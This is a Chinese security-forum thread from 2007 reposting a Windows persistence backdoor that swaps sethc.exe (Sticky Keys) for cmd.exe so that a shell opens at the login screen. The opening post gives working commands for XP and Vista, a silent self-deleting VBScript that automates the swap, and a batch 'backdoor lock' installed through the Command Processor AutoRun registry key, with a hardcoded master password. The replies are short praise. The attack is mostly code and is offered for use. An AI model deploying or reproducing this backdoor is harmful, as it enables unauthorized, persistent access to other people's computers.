文本版|topic 高级搜索
   名人堂 帮助 论坛制度 意见反馈 | 首页 博客 周新贴 专题 求职 读书
RSS 底部
 
社区导航: 专家门诊   网络技术   操作系统   数据库   程序设计   系统应用   考试认证   CIO及信息化   站长交流   综合交流   下载基地  51CTO产品服务 设为首页 | 收藏本站
51CTO技术论坛» 网络安全 » 有史以来最酷的Windows后门       [ 打印]  [ 订阅]  [ 收藏]  [ 推荐给朋友]   [ 本帖文本页]

论坛跳转:
     
标题: [转载] 有史以来最酷的Windows后门  ( 查看:572  回复:8 )   
 
lijun110128
新新人类  点击可查看详细



十二生肖之虎   白羊座   行业勋章   技术勋章   诚信兄弟  
帖子 38
精华 0
无忧币 379
积分 113
阅读权限 20
来自 (保密)
注册日期 2007-2-7
最后登录 2008-9-5 离线

[查看资料]  [发短消息]  [Blog
[个人主页]    QQ       
发表于:2007-12-19 14:14   标题:有史以来最酷的Windows后门
上一帖 |
后门原理:
    在windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。
    XP:
将安装源光盘弹出(或将硬盘上的安装目录改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe
    VISTA:
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然后按XP方法替换文件
在登录界面按5此SHIFT,出来cmd shell,然后……
    后门扩展:

Dim obj, success  
Set obj = CreateObject("WScript.Shell")  
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)  
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)  
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)  
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)  
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)  
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)  
第二句最有意思了.自动应答....以前就遇到过类似的问题
再更新.加个自删除,简化代码...  
On Error Resume Next  
Dim obj, success  
Set obj = CreateObject("WScript.Shell")  
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)  
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
    后门锁扩展:
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="bdlock.bat"
@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if "%password%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul  
If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End
Echo 请联系客服咨询正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo
:endx



网络虽虚拟,技术无边界,来看看大家“真面目”!
2007-12-19 14:141楼
[ 顶部 ]
 
xykzoffice
新新人类  点击可查看详细



十二生肖之猪   双子座   行业勋章   技术勋章   诚信兄弟  
帖子 105
精华 0
无忧币 1
积分 104
阅读权限 20
来自 (保密)
注册日期 2007-9-5
最后登录 2008-8-24 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-12-19 21:25 
以前没有试过,到VM虚似机中去试试看。



2007-12-19 21:252楼
[ 顶部 ]
 
evilyuan
新新人类  点击可查看详细



十二生肖之鸡   魔蝎座   行业勋章   技术勋章   诚信兄弟  
帖子 41
精华 0
无忧币 181
积分 45
阅读权限 20
注册日期 2007-11-24
最后登录 2007-12-29 离线

[查看资料]  [发短消息]  [Blog
  QQ       
发表于:2007-12-20 02:43 
前面的技巧有意思,但是只能在你能进入的电脑上实现

后面的批处理写的好



网络虽虚拟,技术无边界,来看看大家“真面目”!
2007-12-20 02:433楼
[ 顶部 ]
 
xzboss
新新人类  点击可查看详细



帖子 90
精华 0
无忧币 38
积分 92
阅读权限 20
注册日期 2007-12-20
最后登录 2008-6-24 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-12-20 15:07 
分析的很好!!!   支持一下



网络虽虚拟,技术无边界,来看看大家“真面目”!
2007-12-20 15:074楼
[ 顶部 ]
 
ybc123
新新人类  点击可查看详细



帖子 9
精华 0
无忧币 29
积分 19
阅读权限 20
注册日期 2006-11-27
最后登录 2007-12-24 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-12-24 10:28 
很独到的见解!!不过前提是你必须能用那台机器.



网络虽虚拟,技术无边界,来看看大家“真面目”!
2007-12-24 10:285楼
[ 顶部 ]
 
yinkname
新新人类  点击可查看详细


帖子 90
精华 0
无忧币 590
积分 166
阅读权限 20
注册日期 2006-12-1
最后登录 2008-7-15 离线

[查看资料]  [发短消息]  [Blog
[个人主页]    QQ       
发表于:2007-12-24 12:20 
强人,学习了,好想法



网络虽虚拟,技术无边界,来看看大家“真面目”!
2007-12-24 12:206楼
[ 顶部 ]
 
8oero
禁止发言  点击可查看详细



帖子 64
精华 0
无忧币 81
积分 68
阅读权限 1
来自 (保密)
注册日期 2007-12-13
最后登录 2008-5-17 离线

[查看资料]  [发短消息
       
发表于:2007-12-24 14:47  *** 作者被禁止或删除 内容自动屏蔽 ***
2007-12-24 14:477楼
[ 顶部 ]
 
wolfboy321
技术员  点击可查看详细


帖子 512
精华 0
无忧币 261
积分 514
阅读权限 30
注册日期 2007-11-5
最后登录 2008-6-13 离线

[查看资料]  [发短消息]  [Blog
  QQ       
发表于:2007-12-26 11:48 
牛啊  看看去了了呵呵



2007-12-26 11:488楼
[ 顶部 ]
 
wjfunmay
新新人类  点击可查看详细



帖子 124
精华 0
无忧币 35
积分 120
阅读权限 20
注册日期 2007-1-25
最后登录 2008-8-27 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-12-29 14:44 
强人,学习了!!!!!!



网络虽虚拟,技术无边界,来看看大家“真面目”!
2007-12-29 14:449楼
[ 顶部 ]
     
论坛跳转:  

| | |

| | |

| | |

标记已读 · 删除论坛Cookies · 文本版 · WAP
 
| 诚征版主 | 版主堂 | 意见建议 | 大史记 | 论坛地图
Copyright©2005-2008 51CTO.COM  Powered by Discuz!
本论坛言论纯属发布者个人意见,不代表51CTO网站立场!如有疑义,请与管理员联系。
京ICP备05051492号